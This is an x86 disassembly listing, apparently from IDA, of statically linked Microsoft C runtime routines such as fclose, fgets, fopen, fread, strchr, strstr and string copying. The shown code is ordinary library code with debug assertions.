pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419740 proc near ; CODE XREF: sub_403FBB+14Fp
; sub_4041AA+64p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], 0FFFFFFFFh
loc_41974E: ; CODE XREF: sub_419740+36j
cmp [ebp+arg_0], 0
jnz short loc_419772
push offset aStreamNull ; "stream != NULL"
push 0
push 3Ah
push offset aFclose_c ; "fclose.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_419772
int 3 ; Trap to Debugger
loc_419772: ; CODE XREF: sub_419740+12j
; sub_419740+2Fj
xor eax, eax
test eax, eax
jnz short loc_41974E
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 40h
test edx, edx
jz short loc_419791
mov eax, [ebp+arg_0]
mov dword ptr [eax+0Ch], 0
jmp short loc_4197B8
; ---------------------------------------------------------------------------
loc_419791: ; CODE XREF: sub_419740+43j
mov ecx, [ebp+arg_0]
push ecx
call sub_421230
add esp, 4
mov edx, [ebp+arg_0]
push edx
call sub_4197D0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_4212A0
add esp, 4
loc_4197B8: ; CODE XREF: sub_419740+4Fj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_419740 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4197D0 proc near ; CODE XREF: sub_419740+61p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
loc_4197E6: ; CODE XREF: sub_4197D0+3Ej
cmp [ebp+arg_0], 0
jnz short loc_41980A
push offset aStrNull ; "str != NULL"
push 0
push 77h
push offset aFclose_c ; "fclose.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_41980A
int 3 ; Trap to Debugger
loc_41980A: ; CODE XREF: sub_4197D0+1Aj
; sub_4197D0+37j
xor ecx, ecx
test ecx, ecx
jnz short loc_4197E6
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_41987A
mov ecx, [ebp+var_8]
push ecx
call sub_421580
add esp, 4
mov [ebp+var_4], eax
mov edx, [ebp+var_8]
push edx
call sub_421440
add esp, 4
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
push ecx
call sub_421310
add esp, 4
test eax, eax
jge short loc_419856
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_41987A
; ---------------------------------------------------------------------------
loc_419856: ; CODE XREF: sub_4197D0+7Bj
mov edx, [ebp+var_8]
cmp dword ptr [edx+1Ch], 0
jz short loc_41987A
push 2
mov eax, [ebp+var_8]
mov ecx, [eax+1Ch]
push ecx
call sub_4174C0
add esp, 8
mov edx, [ebp+var_8]
mov dword ptr [edx+1Ch], 0
loc_41987A: ; CODE XREF: sub_4197D0+4Dj
; sub_4197D0+84j ...
mov eax, [ebp+var_8]
mov dword ptr [eax+0Ch], 0
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4197D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419890 proc near ; CODE XREF: sub_403FBB+E4p
; sub_403FBB+EFp ...
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 30h
mov eax, [ebp+arg_4]
mov [ebp+var_30], eax
call sub_41FA10
mov [ebp+var_8], eax
mov [ebp+var_C], 0
jmp short loc_4198B6
; ---------------------------------------------------------------------------
loc_4198AD: ; CODE XREF: sub_419890+34j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_4198B6: ; CODE XREF: sub_419890+1Bj
cmp [ebp+var_C], 20h
jge short loc_4198C6
mov edx, [ebp+var_C]
mov [ebp+edx+var_2C], 0
jmp short loc_4198AD
; ---------------------------------------------------------------------------
loc_4198C6: ; CODE XREF: sub_419890+2Aj
; sub_419890+79j
mov eax, [ebp+var_30]
xor ecx, ecx
mov cl, [eax]
mov edx, ecx
sar edx, 3
mov eax, [ebp+var_30]
xor ecx, ecx
mov cl, [eax]
and ecx, 7
mov eax, 1
shl eax, cl
mov cl, [ebp+edx+var_2C]
or cl, al
mov edx, [ebp+var_30]
xor eax, eax
mov al, [edx]
sar eax, 3
mov [ebp+eax+var_2C], cl
mov ecx, [ebp+var_30]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_30]
add eax, 1
mov [ebp+var_30], eax
test edx, edx
jnz short loc_4198C6
cmp [ebp+arg_0], 0
jz short loc_419919
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
jmp short loc_419922
; ---------------------------------------------------------------------------
loc_419919: ; CODE XREF: sub_419890+7Fj
mov edx, [ebp+var_8]
mov eax, [edx+18h]
mov [ebp+var_4], eax
loc_419922: ; CODE XREF: sub_419890+87j
; sub_419890+CFj
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
sar edx, 3
xor eax, eax
mov al, [ebp+edx+var_2C]
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, edx
and ecx, 7
mov edx, 1
shl edx, cl
and eax, edx
test eax, eax
jz short loc_419961
mov eax, [ebp+var_4]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_419961
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_419922
; ---------------------------------------------------------------------------
loc_419961: ; CODE XREF: sub_419890+B9j
; sub_419890+C4j
mov eax, [ebp+var_4]
mov [ebp+arg_0], eax
jmp short loc_419972
; ---------------------------------------------------------------------------
loc_419969: ; CODE XREF: sub_419890:loc_4199B7j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_419972: ; CODE XREF: sub_419890+D7j
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_4199B9
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
sar edx, 3
xor eax, eax
mov al, [ebp+edx+var_2C]
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, edx
and ecx, 7
mov edx, 1
shl edx, cl
and eax, edx
test eax, eax
jz short loc_4199B7
mov eax, [ebp+var_4]
mov byte ptr [eax], 0
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp short loc_4199B9
; ---------------------------------------------------------------------------
loc_4199B7: ; CODE XREF: sub_419890+114j
jmp short loc_419969
; ---------------------------------------------------------------------------
loc_4199B9: ; CODE XREF: sub_419890+EBj
; sub_419890+125j
mov edx, [ebp+var_8]
mov eax, [ebp+var_4]
mov [edx+18h], eax
mov ecx, [ebp+arg_0]
cmp ecx, [ebp+var_4]
jnz short loc_4199CE
xor eax, eax
jmp short loc_4199D1
; ---------------------------------------------------------------------------
loc_4199CE: ; CODE XREF: sub_419890+138j
mov eax, [ebp+arg_0]
loc_4199D1: ; CODE XREF: sub_419890+13Cj
mov esp, ebp
pop ebp
retn
sub_419890 endp
; ---------------------------------------------------------------------------
align 10h
; START OF FUNCTION CHUNK FOR sub_4199F0
loc_4199E0: ; CODE XREF: sub_4199F0+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_4199F0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4199F0 proc near ; CODE XREF: sub_403FBB+D0p
; sub_40A29A+32p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 004199E0 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_4199F6: ; CODE XREF: sub_419AB0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_419A1B
loc_419A08: ; CODE XREF: sub_4199F0+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_4199E0
test cl, cl
jz short loc_419A64
test edx, 3
jnz short loc_419A08
loc_419A1B: ; CODE XREF: sub_4199F0+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_419A26: ; CODE XREF: sub_4199F0+61j
; sub_4199F0+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_419A68
and eax, 81010100h
jz short loc_419A26
and eax, 1010100h
jnz short loc_419A62
and esi, 80000000h
jnz short loc_419A26
loc_419A62: ; CODE XREF: sub_4199F0+68j
; sub_4199F0+81j ...
pop esi
pop edi
loc_419A64: ; CODE XREF: sub_4199F0+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_419A68: ; CODE XREF: sub_4199F0+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_419AA5
test al, al
jz short loc_419A62
cmp ah, bl
jz short loc_419A9E
test ah, ah
jz short loc_419A62
shr eax, 10h
cmp al, bl
jz short loc_419A97
test al, al
jz short loc_419A62
cmp ah, bl
jz short loc_419A90
test ah, ah
jz short loc_419A62
jmp short loc_419A26
; ---------------------------------------------------------------------------
loc_419A90: ; CODE XREF: sub_4199F0+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_419A97: ; CODE XREF: sub_4199F0+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_419A9E: ; CODE XREF: sub_4199F0+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_419AA5: ; CODE XREF: sub_4199F0+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_4199F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_419AB0 proc near ; CODE XREF: sub_403FBB+C0p
; sub_405E58+C6p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_419B2A
mov dh, [ecx+1]
test dh, dh
jz short loc_419B17
loc_419AC8: ; CODE XREF: sub_419AB0+52j
; sub_419AB0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_419AEA
test al, al
jz short loc_419AE4
loc_419AD9: ; CODE XREF: sub_419AB0+32j
mov al, [esi]
inc esi
loc_419ADC: ; CODE XREF: sub_419AB0+3Fj
cmp al, dl
jz short loc_419AEA
test al, al
jnz short loc_419AD9
loc_419AE4: ; CODE XREF: sub_419AB0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_419AEA: ; CODE XREF: sub_419AB0+23j
; sub_419AB0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_419ADC
lea edi, [esi-1]
loc_419AF4: ; CODE XREF: sub_419AB0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_419B23
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_419AC8
mov al, [ecx+3]
test al, al
jz short loc_419B23
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_419AF4
jmp short loc_419AC8
; ---------------------------------------------------------------------------
loc_419B17: ; CODE XREF: sub_419AB0+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp loc_4199F6
; ---------------------------------------------------------------------------
loc_419B23: ; CODE XREF: sub_419AB0+49j
; sub_419AB0+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_419B2A: ; CODE XREF: sub_419AB0+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_419AB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B30 proc near ; CODE XREF: sub_403FBB+A9p
; sub_40C50A+4810p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_10], ecx
loc_419B45: ; CODE XREF: sub_419B30+3Dj
cmp [ebp+arg_0], 0
jnz short loc_419B69
push offset aStringNull ; "string != NULL"
push 0
push 3Bh
push offset aFgets_c ; "fgets.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_419B69
int 3 ; Trap to Debugger
loc_419B69: ; CODE XREF: sub_419B30+19j
; sub_419B30+36j
xor edx, edx
test edx, edx
jnz short loc_419B45
loc_419B6F: ; CODE XREF: sub_419B30+67j
cmp [ebp+arg_8], 0
jnz short loc_419B93
push offset aStrNull ; "str != NULL"
push 0
push 3Ch
push offset aFgets_c ; "fgets.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_419B93
int 3 ; Trap to Debugger
loc_419B93: ; CODE XREF: sub_419B30+43j
; sub_419B30+60j
xor eax, eax
test eax, eax
jnz short loc_419B6F
cmp [ebp+arg_4], 0
jg short loc_419BA6
xor eax, eax
jmp loc_419C67
; ---------------------------------------------------------------------------
loc_419BA6: ; CODE XREF: sub_419B30+6Dj
mov ecx, [ebp+arg_8]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
push edx
call sub_421230
add esp, 4
loc_419BB8: ; CODE XREF: sub_419B30:loc_419C4Dj
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
cmp [ebp+arg_4], 0
jz loc_419C52
mov ecx, [ebp+var_4]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_4]
mov [eax+4], edx
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0
jl short loc_419C03
mov edx, [ebp+var_4]
mov eax, [edx]
movsx ecx, byte ptr [eax]
and ecx, 0FFh
mov [ebp+var_14], ecx
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
jmp short loc_419C12
; ---------------------------------------------------------------------------
loc_419C03: ; CODE XREF: sub_419B30+B1j
mov edx, [ebp+var_4]
push edx
call sub_421790
add esp, 4
mov [ebp+var_14], eax
loc_419C12: ; CODE XREF: sub_419B30+D1j
mov eax, [ebp+var_14]
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_419C31
mov ecx, [ebp+var_8]
cmp ecx, [ebp+arg_0]
jnz short loc_419C2F
mov [ebp+var_10], 0
jmp short loc_419C58
; ---------------------------------------------------------------------------
loc_419C2F: ; CODE XREF: sub_419B30+F4j
jmp short loc_419C52
; ---------------------------------------------------------------------------
loc_419C31: ; CODE XREF: sub_419B30+ECj
mov edx, [ebp+var_8]
mov al, byte ptr [ebp+var_C]
mov [edx], al
movsx ecx, byte ptr [ebp+var_C]
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
cmp ecx, 0Ah
jnz short loc_419C4D
jmp short loc_419C52
; ---------------------------------------------------------------------------
loc_419C4D: ; CODE XREF: sub_419B30+119j
jmp loc_419BB8
; ---------------------------------------------------------------------------
loc_419C52: ; CODE XREF: sub_419B30+95j
; sub_419B30:loc_419C2Fj ...
mov eax, [ebp+var_8]
mov byte ptr [eax], 0
loc_419C58: ; CODE XREF: sub_419B30+FDj
mov ecx, [ebp+var_4]
push ecx
call sub_4212A0
add esp, 4
mov eax, [ebp+var_10]
loc_419C67: ; CODE XREF: sub_419B30+71j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_419B30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C70 proc near ; CODE XREF: sub_419D70+Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_419C79: ; CODE XREF: sub_419C70+31j
cmp [ebp+arg_0], 0
jnz short loc_419C9D
push offset aFileNull ; "file != NULL"
push 0
push 35h
push offset aFopen_c ; "fopen.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_419C9D
int 3 ; Trap to Debugger
loc_419C9D: ; CODE XREF: sub_419C70+Dj
; sub_419C70+2Aj
xor eax, eax
test eax, eax
jnz short loc_419C79
loc_419CA3: ; CODE XREF: sub_419C70+5Fj
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_419CCB
push offset aFile_t0 ; "*file != _T('\\0')"
push 0
push 36h
push offset aFopen_c ; "fopen.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_419CCB
int 3 ; Trap to Debugger
loc_419CCB: ; CODE XREF: sub_419C70+3Bj
; sub_419C70+58j
xor eax, eax
test eax, eax
jnz short loc_419CA3
loc_419CD1: ; CODE XREF: sub_419C70+89j
cmp [ebp+arg_4], 0
jnz short loc_419CF5
push offset aModeNull ; "mode != NULL"
push 0
push 37h
push offset aFopen_c ; "fopen.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_419CF5
int 3 ; Trap to Debugger
loc_419CF5: ; CODE XREF: sub_419C70+65j
; sub_419C70+82j
xor ecx, ecx
test ecx, ecx
jnz short loc_419CD1
loc_419CFB: ; CODE XREF: sub_419C70+B7j
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_419D23
push offset aMode_t0 ; "*mode != _T('\\0')"
push 0
push 38h
push offset aFopen_c ; "fopen.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_419D23
int 3 ; Trap to Debugger
loc_419D23: ; CODE XREF: sub_419C70+93j
; sub_419C70+B0j
xor ecx, ecx
test ecx, ecx
jnz short loc_419CFB
call sub_421D10
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_419D3B
xor eax, eax
jmp short loc_419D65
; ---------------------------------------------------------------------------
loc_419D3B: ; CODE XREF: sub_419C70+C5j
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_421980
add esp, 10h
mov [ebp+var_8], eax
mov eax, [ebp+var_4]
push eax
call sub_4212A0
add esp, 4
mov eax, [ebp+var_8]
loc_419D65: ; CODE XREF: sub_419C70+C9j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_419C70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419D70 proc near ; CODE XREF: sub_403FBB+90p
; sub_4041AA+18p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 40h
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_419C70
add esp, 0Ch
pop ebp
retn
sub_419D70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419D90 proc near ; CODE XREF: sub_4041AA+45p
; sub_406C9A+4Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_C]
push eax
call sub_421230
add esp, 4
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_419DD0
add esp, 10h
mov [ebp+var_4], eax
mov edx, [ebp+arg_C]
push edx
call sub_4212A0
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_419D90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419DD0 proc near ; CODE XREF: sub_419D90+20p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
imul ecx, [ebp+arg_8]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jnz short loc_419DF9
xor eax, eax
jmp loc_419F9B
; ---------------------------------------------------------------------------
loc_419DF9: ; CODE XREF: sub_419DD0+20j
mov eax, [ebp+arg_C]
mov ecx, [eax+0Ch]
and ecx, 10Ch
test ecx, ecx
jz short loc_419E14
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_1C], eax
jmp short loc_419E1B
; ---------------------------------------------------------------------------
loc_419E14: ; CODE XREF: sub_419DD0+37j
mov [ebp+var_1C], 1000h
loc_419E1B: ; CODE XREF: sub_419DD0+42j
; sub_419DD0:loc_419F93j
cmp [ebp+var_C], 0
jz loc_419F98
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
and edx, 10Ch
test edx, edx
jz short loc_419EA9
mov eax, [ebp+arg_C]
cmp dword ptr [eax+4], 0
jz short loc_419EA9
mov ecx, [ebp+arg_C]
mov edx, [ebp+var_C]
cmp edx, [ecx+4]
jnb short loc_419E51
mov eax, [ebp+var_C]
mov [ebp+var_20], eax
jmp short loc_419E5A
; ---------------------------------------------------------------------------
loc_419E51: ; CODE XREF: sub_419DD0+77j
mov ecx, [ebp+arg_C]
mov edx, [ecx+4]
mov [ebp+var_20], edx
loc_419E5A: ; CODE XREF: sub_419DD0+7Fj
mov eax, [ebp+var_20]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
push ecx
mov edx, [ebp+arg_C]
mov eax, [edx]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_418A00
add esp, 0Ch
mov edx, [ebp+var_C]
sub edx, [ebp+var_18]
mov [ebp+var_C], edx
mov eax, [ebp+arg_C]
mov ecx, [eax+4]
sub ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx+4], ecx
mov eax, [ebp+arg_C]
mov ecx, [eax]
add ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx], ecx
mov eax, [ebp+var_8]
add eax, [ebp+var_18]
mov [ebp+var_8], eax
jmp loc_419F93
; ---------------------------------------------------------------------------
loc_419EA9: ; CODE XREF: sub_419DD0+63j
; sub_419DD0+6Cj
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_1C]
jb loc_419F4E
cmp [ebp+var_1C], 0
jz short loc_419ECD
mov eax, [ebp+var_C]
xor edx, edx
div [ebp+var_1C]
mov eax, [ebp+var_C]
sub eax, edx
mov [ebp+var_24], eax
jmp short loc_419ED3
; ---------------------------------------------------------------------------
loc_419ECD: ; CODE XREF: sub_419DD0+E9j
mov ecx, [ebp+var_C]
mov [ebp+var_24], ecx
loc_419ED3: ; CODE XREF: sub_419DD0+FBj
mov edx, [ebp+var_24]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_C]
mov eax, [edx+10h]
push eax
call sub_421E90
add esp, 0Ch
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_419F18
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 10h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp loc_419F9B
; ---------------------------------------------------------------------------
loc_419F18: ; CODE XREF: sub_419DD0+127j
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_419F3A
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_419F9B
; ---------------------------------------------------------------------------
loc_419F3A: ; CODE XREF: sub_419DD0+14Cj
mov ecx, [ebp+var_C]
sub ecx, [ebp+var_14]
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_14]
mov [ebp+var_8], edx
jmp short loc_419F93
; ---------------------------------------------------------------------------
loc_419F4E: ; CODE XREF: sub_419DD0+DFj
mov eax, [ebp+arg_C]
push eax
call sub_421790
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_419F70
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_419F9B
; ---------------------------------------------------------------------------
loc_419F70: ; CODE XREF: sub_419DD0+191j
mov ecx, [ebp+var_8]
mov dl, byte ptr [ebp+var_4]
mov [ecx], dl
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
sub ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_1C], eax
loc_419F93: ; CODE XREF: sub_419DD0+D4j
; sub_419DD0+17Cj
jmp loc_419E1B
; ---------------------------------------------------------------------------
loc_419F98: ; CODE XREF: sub_419DD0+4Fj
mov eax, [ebp+arg_8]
loc_419F9B: ; CODE XREF: sub_419DD0+24j
; sub_419DD0+143j ...
mov esp, ebp
pop ebp
retn
sub_419DD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_419FA0 proc near ; CODE XREF: sub_406D34+2C5p
; sub_409842+75p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41A011
sub_419FA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_419FB0 proc near ; CODE XREF: sub_40449C+13Ep
; sub_407317+15Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_419FCC
loc_419FBD: ; CODE XREF: sub_419FB0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_419FFF
test ecx, 3
jnz short loc_419FBD
loc_419FCC: ; CODE XREF: sub_419FB0+Bj
; sub_419FB0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_419FCC
mov eax, [ecx-4]
test al, al
jz short loc_41A00E
test ah, ah
jz short loc_41A009
test eax, 0FF0000h
jz short loc_41A004
test eax, 0FF000000h
jz short loc_419FFF
jmp short loc_419FCC
; ---------------------------------------------------------------------------
loc_419FFF: ; CODE XREF: sub_419FB0+12j
; sub_419FB0+4Bj
lea edi, [ecx-1]
jmp short loc_41A011
; ---------------------------------------------------------------------------
loc_41A004: ; CODE XREF: sub_419FB0+44j
lea edi, [ecx-2]
jmp short loc_41A011
; ---------------------------------------------------------------------------
loc_41A009: ; CODE XREF: sub_419FB0+3Dj
lea edi, [ecx-3]
jmp short loc_41A011
; ---------------------------------------------------------------------------
loc_41A00E: ; CODE XREF: sub_419FB0+39j
lea edi, [ecx-4]
loc_41A011: ; CODE XREF: sub_419FA0+5j
; sub_419FB0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41A036
loc_41A01D: ; CODE XREF: sub_419FB0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41A088
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41A01D
jmp short loc_41A036
; ---------------------------------------------------------------------------
loc_41A031: ; CODE XREF: sub_419FB0+9Ej
; sub_419FB0+B8j
mov [edi], edx
add edi, 4
loc_41A036: ; CODE XREF: sub_419FB0+6Bj
; sub_419FB0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41A031
test dl, dl
jz short loc_41A088
test dh, dh
jz short loc_41A07F
test edx, 0FF0000h
jz short loc_41A072
test edx, 0FF000000h
jz short loc_41A06A
jmp short loc_41A031
; ---------------------------------------------------------------------------
loc_41A06A: ; CODE XREF: sub_419FB0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41A072: ; CODE XREF: sub_419FB0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
